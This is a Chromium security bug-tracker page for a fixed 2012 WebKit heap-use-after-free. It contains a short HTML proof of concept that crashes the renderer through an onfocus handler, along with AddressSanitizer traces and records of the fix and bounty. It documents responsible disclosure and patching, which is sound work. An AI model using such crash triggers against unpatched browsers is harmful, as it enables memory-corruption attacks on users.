New issue
Advanced search Search tips
Starred by 1 user
Status: Fixed
Owner:
Closed: Mar 2012
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security

Restricted
  • Only users with EditIssue permission may comment.



Sign in to add a comment
Heap-use-after-free in WebCore::ContainerNode::resumePostAttachCallbacks
Reported by miau...@gmail.com, Mar 25 2012 Back to list


VULNERABILITY DETAILS
use-after-free with input that overwrites document element contents during focus

VERSION
Chrome Version: stable, beta, dev

Chromium	19.0.1081.0 (Developer Build 128813)
OS	Linux
WebKit	536.4 (@111994)

Operating System: 64 bit linux

REPRODUCTION CASE
<html>
  <body>
    <object data="a">
      <input autofocus="" onfocus="document.documentElement.textContent = 'A'"/> 
    </object>
  </body>
</html>

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: renderer + asan
Crash State: 

==22166== ERROR: AddressSanitizer heap-use-after-free on address 0x7fffecaac8a8 at pc 0x555559231f56 bp 0x7fffffff9930 sp 0x7fffffff9928
READ of size 8 at 0x7fffecaac8a8 thread T0
    #0 0x555559231f56 in WebCore::ContainerNode::resumePostAttachCallbacks() ???:0
    #1 0x5555592c11a4 in WebCore::Element::attach() ???:0
    #2 0x55555a44d40d in WebCore::FrameLoader::receivedMainResourceError(WebCore::ResourceError const&, bool) ???:0


0x7fffecaac8a8 is located 40 bytes inside of 224-byte region [0x7fffecaac880,0x7fffecaac960)
freed by thread T0 here:
    #0 0x55555de945f2 in operator delete(void*) ??:0
    #1 0x555559235f7d in WTF::Vector<std::pair<void (*)(WebCore::Node*, unsigned int), std::pair<WTF::RefPtr<WebCore::Node>, unsigned int> >, 0ul>::shrinkCapacity(unsigned long) ???:0
    #2 0x555559231e3b in WebCore::ContainerNode::resumePostAttachCallbacks() ???:0


 
stable-40224.txt
9.5 KB View Download
beta-40224.txt
10.1 KB View Download
40224.html
152 bytes View Download
40224.html
152 bytes View Download
Summary: Heap-use-after-free in WebCore::ContainerNode::resumePostAttachCallbacks (was: NULL)
Detailed report: https://cluster-fuzz.appspot.com/testcase?key=30309630

Uploader: inferno@chromium.org

Crash Type: Heap-use-after-free READ 8
Crash Address: 0x7fdc0dfca4a8
Crash State:
  - crash stack -
  WebCore::ContainerNode::resumePostAttachCallbacks
  WebCore::Element::attach
  - free stack -
  WTF::Vector<std::pair<void 
  WebCore::ContainerNode::resumePostAttachCallbacks
  

Minimized Testcase (0.10 Kb):
Download: https://cluster-fuzz.appspot.com/download/AMIfv94qPqi-K0aAgt2GZVmiBoCHgwriEyh6xub3FTfntVZ8dwa4Qj8DtdbL5Fb5lZBUFekKBbqUbt1cOLLWC1Mu7CQt7oVGaCsKP3VSx2W-SUnF8SXbBRCB2MggH1OFyL2-ig1Ol54JOzFNVCfDOgOJITrCzGBTrg
<object data="a">
      <input autofocus="" onfocus="document.documentElement.textContent = 'A'"/</object>
Labels: -Pri-0 -Area-Undefined Pri-1 Area-WebKit SecImpacts-Stable SecImpacts-Beta Mstone-17 Stability-AddressSanitizer OS-All reward-topanel
Status: Available
Labels: SecSeverity-High
tracking webkit bug - https://bugs.webkit.org/show_bug.cgi?id=82159
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify Merge-Approved
Owner: infe...@chromium.org
Status: FixUnreleased
Comment 6 by kenrb@chromium.org, Mar 26 2012
Relevant changeset: http://trac.webkit.org/changeset/112051
Project Member Comment 7 by ClusterFuzz, Mar 26 2012
ClusterFuzz has detected this issue as fixed in range 128808:128813.

Detailed report: https://cluster-fuzz.appspot.com/testcase?key=30309630

Uploader: inferno@chromium.org

Crash Type: Heap-use-after-free READ 8
Crash Address: 0x7f5886cc42a8
Crash State:
  - crash stack -
  WebCore::ContainerNode::resumePostAttachCallbacks
  WebCore::Element::attach
  - free stack -
  WTF::Vector<std::pair<void 
  WebCore::ContainerNode::resumePostAttachCallbacks
  
Fixed: https://cluster-fuzz.appspot.com/revisions?range=128808:128813

Minimized Testcase: https://cluster-fuzz.appspot.com/download/AMIfv97CzzgNNMKrB2jm4nDeyxtzGHrs--HR8sweSBJtuLZLHTex35yar7JtPxVNeRXJCdclcjV-KNzirZbewzpFl8Ui_YoM8Dy-qOXZPKjMnid-zvWEglclFujD5dyn2LhZX8I1V3HmusS7B_jcsFX2wNna_1RUAA

If you suspect that the result above is incorrect, try re-doing that job on the testcase report page.
Project Member Comment 8 by ClusterFuzz, Mar 26 2012
ClusterFuzz has detected this issue as fixed in range 128813:128890.

Detailed report: https://cluster-fuzz.appspot.com/testcase?key=30309630

Uploader: inferno@chromium.org

Crash Type: Heap-use-after-free READ 8
Crash Address: 0x7f5886cc42a8
Crash State:
  - crash stack -
  WebCore::ContainerNode::resumePostAttachCallbacks
  WebCore::Element::attach
  - free stack -
  WTF::Vector<std::pair<void 
  WebCore::ContainerNode::resumePostAttachCallbacks
  
Fixed: https://cluster-fuzz.appspot.com/revisions?range=128813:128890

Minimized Testcase: https://cluster-fuzz.appspot.com/download/AMIfv97CzzgNNMKrB2jm4nDeyxtzGHrs--HR8sweSBJtuLZLHTex35yar7JtPxVNeRXJCdclcjV-KNzirZbewzpFl8Ui_YoM8Dy-qOXZPKjMnid-zvWEglclFujD5dyn2LhZX8I1V3HmusS7B_jcsFX2wNna_1RUAA

If you suspect that the result above is incorrect, try re-doing that job on the testcase report page.
Labels: -Mstone-17 -Merge-Approved Mstone-18 Merge-Merged
M18: http://trac.webkit.org/changeset/112907
Labels: -reward-topanel reward-1000 reward-unpaid CVE-2011-3076
$1000 encore
Labels: -reward-unpaid
Comment 12 by cdn@chromium.org, May 15 2012
Status: Fixed
Marking old security bugs Fixed..
Project Member Comment 13 by bugdroid1@chromium.org, Oct 13 2012
Labels: Restrict-AddIssueComment-Commit
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.
Project Member Comment 14 by bugdroid1@chromium.org, Mar 10 2013
Labels: -Type-Security -Area-WebKit -SecImpacts-Stable -SecImpacts-Beta -Mstone-18 -Stability-AddressSanitizer -SecSeverity-High Cr-Content Security-Impact-Stable Security-Impact-Beta M-18 Performance-Memory-AddressSanitizer Type-Bug-Security Security-Severity-High
Project Member Comment 15 by bugdroid1@chromium.org, Mar 13 2013
Labels: Restrict-View-EditIssue
Project Member Comment 16 by bugdroid1@chromium.org, Mar 13 2013
Labels: -Restrict-AddIssueComment-Commit Restrict-AddIssueComment-EditIssue
Labels: -Restrict-View-SecurityNotify -Restrict-View-EditIssue
Project Member Comment 18 by bugdroid1@chromium.org, Mar 21 2013
Labels: -Security-Severity-High Security_Severity-High
Project Member Comment 19 by bugdroid1@chromium.org, Mar 21 2013
Labels: -Security-Impact-Stable Security_Impact-Stable
Project Member Comment 20 by bugdroid1@chromium.org, Mar 21 2013
Labels: -Security-Impact-Beta Security_Impact-Beta
Project Member Comment 21 by bugdroid1@chromium.org, Apr 1 2013
Labels: -Performance-Memory-AddressSanitizer Stability-Memory-AddressSanitizer
Project Member Comment 22 by bugdroid1@chromium.org, Apr 6 2013
Labels: -Cr-Content Cr-Blink
Project Member Comment 23 by sheriffbot@chromium.org, Jun 14 2016
Labels: -security_impact-beta
Project Member Comment 24 by sheriffbot@chromium.org, Oct 1 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member Comment 25 by sheriffbot@chromium.org, Oct 2 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic
Sign in to add a comment